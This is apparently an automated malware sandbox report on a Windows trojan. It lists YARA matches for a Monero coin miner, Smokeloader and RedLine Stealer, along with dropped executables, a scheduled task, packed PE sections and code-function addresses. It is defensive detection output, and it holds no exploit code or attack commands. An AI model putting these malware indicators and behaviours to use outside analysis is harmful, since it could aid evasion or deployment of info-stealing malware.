Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Code function: 7_2_00431BB0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

7_2_00431BB0

System Summary

Malicious sample detected (through community Yara rule)

Source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 35.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 35.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000029.00000002.2980338808.00000000022E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000009.00000002.2992170547.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000009.00000002.2978110403.0000000000E2C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000029.00000002.2979879901.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: 6e8fec8a4f.exe, 0000002A.00000000.2843212408.0000000000EC2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_f65c18d8-7
Source: 6e8fec8a4f.exe, 0000002A.00000000.2843212408.0000000000EC2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_d1a36877-7

Drops password protected ZIP file

Source: file.bin.10.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name:
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name: .idata
Source: 8ef456fdd1.exe.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: bb21432993.exe.6.dr	Static PE information: section name:
Source: bb21432993.exe.6.dr	Static PE information: section name: .idata
Source: bb21432993.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0004CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	6_2_0004CB97
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00F2F2B0 NtProtectVirtualMemory,NtProtectVirtualMemory,	7_2_00F2F2B0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00F2ED70 NtAllocateVirtualMemory,	7_2_00F2ED70

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F55C83	0_2_00F55C83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5735A	0_2_00F5735A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F98860	0_2_00F98860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F54DE0	0_2_00F54DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01067B6E	0_2_01067B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F54B30	0_2_00F54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00077049	1_2_00077049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00078860	1_2_00078860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_000778BB	1_2_000778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_000731A8	1_2_000731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00034B30	1_2_00034B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00072D10	1_2_00072D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00034DE0	1_2_00034DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00067F36	1_2_00067F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0007779B	1_2_0007779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00077049	2_2_00077049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00078860	2_2_00078860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_000778BB	2_2_000778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_000731A8	2_2_000731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00034B30	2_2_00034B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00072D10	2_2_00072D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00034DE0	2_2_00034DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00067F36	2_2_00067F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0007779B	2_2_0007779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0003E530	6_2_0003E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00056192	6_2_00056192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00078860	6_2_00078860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00034B30	6_2_00034B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00072D10	6_2_00072D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00034DE0	6_2_00034DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00050E13	6_2_00050E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00077049	6_2_00077049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_000731A8	6_2_000731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00051602	6_2_00051602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0007779B	6_2_0007779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_000778BB	6_2_000778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00053DF1	6_2_00053DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00067F36	6_2_00067F36
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00F3283B	7_2_00F3283B
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0040A960	7_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00426170	7_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0040E2A9	7_2_0040E2A9
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00416B7E	7_2_00416B7E
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00439B90	7_2_00439B90
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004233A0	7_2_004233A0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00436C40	7_2_00436C40
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043DCF0	7_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004215F0	7_2_004215F0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0042C6D7	7_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043E690	7_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0042BFD3	7_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00410FD6	7_2_00410FD6
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0042BFDA	7_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004087F0	7_2_004087F0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00436F90	7_2_00436F90
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004097B0	7_2_004097B0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00425F7D	7_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00409070	7_2_00409070
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043A030	7_2_0043A030
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004038C0	7_2_004038C0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004380D9	7_2_004380D9
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041D8E0	7_2_0041D8E0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0042D085	7_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004280B0	7_2_004280B0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0042297F	7_2_0042297F
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0042A100	7_2_0042A100
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00437900	7_2_00437900
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00416E97	7_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00405910	7_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00425920	7_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004301D0	7_2_004301D0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004081F0	7_2_004081F0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00408990	7_2_00408990
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00417190	7_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00414A40	7_2_00414A40
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041BA48	7_2_0041BA48
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0040CA54	7_2_0040CA54
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00404270	7_2_00404270
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00422270	7_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00406200	7_2_00406200
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00423A00	7_2_00423A00
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043CAC0	7_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043E2C0	7_2_0043E2C0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004292D0	7_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00415ADC	7_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0042BA8D	7_2_0042BA8D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004192BA	7_2_004192BA
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0040B351	7_2_0040B351
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041CB5A	7_2_0041CB5A
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00409360	7_2_00409360
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041C360	7_2_0041C360
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00411B1B	7_2_00411B1B
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043533A	7_2_0043533A
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043CBD6	7_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043A3F0	7_2_0043A3F0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00404BA0	7_2_00404BA0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0040D44C	7_2_0040D44C
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00434C4D	7_2_00434C4D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00407470	7_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00419C10	7_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00418C1E	7_2_00418C1E
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041D420	7_2_0041D420
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041DC20	7_2_0041DC20
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00436430	7_2_00436430
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043CCE0	7_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00422CF8	7_2_00422CF8
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00427C9D	7_2_00427C9D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043CD60	7_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00416571	7_2_00416571
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00423D30	7_2_00423D30
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041DE40	7_2_0041DE40
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00412670	7_2_00412670
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00425670	7_2_00425670
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041AE00	7_2_0041AE00
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043CE00	7_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00423E30	7_2_00423E30
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004156D0	7_2_004156D0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00415EE0	7_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004266E7	7_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00406690	7_2_00406690
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00436690	7_2_00436690
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00416E97	7_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00402EA0	7_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004376B0	7_2_004376B0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00426EBE	7_2_00426EBE
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00428F5D	7_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0042B763	7_2_0042B763
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00425F7D	7_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00414F08	7_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00420717	7_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00418731	7_2_00418731
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0041EF30	7_2_0041EF30
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_004167A5	7_2_004167A5
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00418FAD	7_2_00418FAD
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_0043DFB0	7_2_0043DFB0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe 21A2AC44ACD7A640735870EEBFD04B8DC57BC66877CB5BE3B929299E86A43DAE

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00F680C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 000480C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00047A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00068E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0004DF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0004D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0004D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0004D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: String function: 00414A30 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: String function: 00408000 appears 52 times

Source: random[1].exe1.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 8ef456fdd1.exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 35.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 35.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000029.00000002.2980338808.00000000022E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000009.00000002.2992170547.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000009.00000002.2978110403.0000000000E2C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000029.00000002.2979879901.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: random[2].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[2].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 8b334ae3d2.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 8b334ae3d2.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[2].exe0.6.dr	Static PE information: Section: gyzmglan ZLIB complexity 0.9949863926426427
Source: bb21432993.exe.6.dr	Static PE information: Section: gyzmglan ZLIB complexity 0.9949863926426427

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@93/60@20/11

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

